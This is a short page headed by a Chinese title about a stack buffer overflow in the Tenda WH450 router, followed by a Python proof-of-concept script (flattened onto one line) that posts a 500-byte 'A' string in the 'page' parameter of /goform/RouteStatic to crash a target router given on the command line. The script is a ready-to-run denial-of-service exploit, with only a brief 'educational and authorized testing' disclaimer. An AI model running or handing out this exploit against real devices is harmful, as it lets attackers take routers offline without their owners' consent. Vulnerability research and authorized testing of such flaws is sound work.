CVE-2025-15162 Tenda WH450 /goform/RouteStatic 栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15162 PoC - Tenda WH450 /goform/RouteStatic Stack Buffer Overflow Note: This is for educational and authorized testing purposes only. """ import requests import sys def exploit(target_ip, target_port=80): """Exploit CVE-2025-15162 on Tenda WH450 router""" # Construct the target URL url = f"http://{target_ip}:{target_port}/goform/RouteStatic" # Create overflow payload - 500 bytes to trigger overflow # Adjust length based on actual buffer size overflow_length = 500 payload = "A" * overflow_length # Prepare the POST data data = { "page": payload, # Vulnerable parameter # Add other required parameters if needed } print(f"[*] Target: {url}") print(f"[*] Payload length: {overflow_length}") print(f"[*] Sending exploit payload...") try: response = requests.post(url, data=data, timeout=10) print(f"[!] Response status: {response.status_code}") print(f"[*] Exploit sent. Check if device is affected.") except requests.exceptions.Timeout: print("[*] Request timed out - device may have crashed or is unresponsive") except requests.exceptions.ConnectionError: print("[*] Connection error - device may have crashed") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)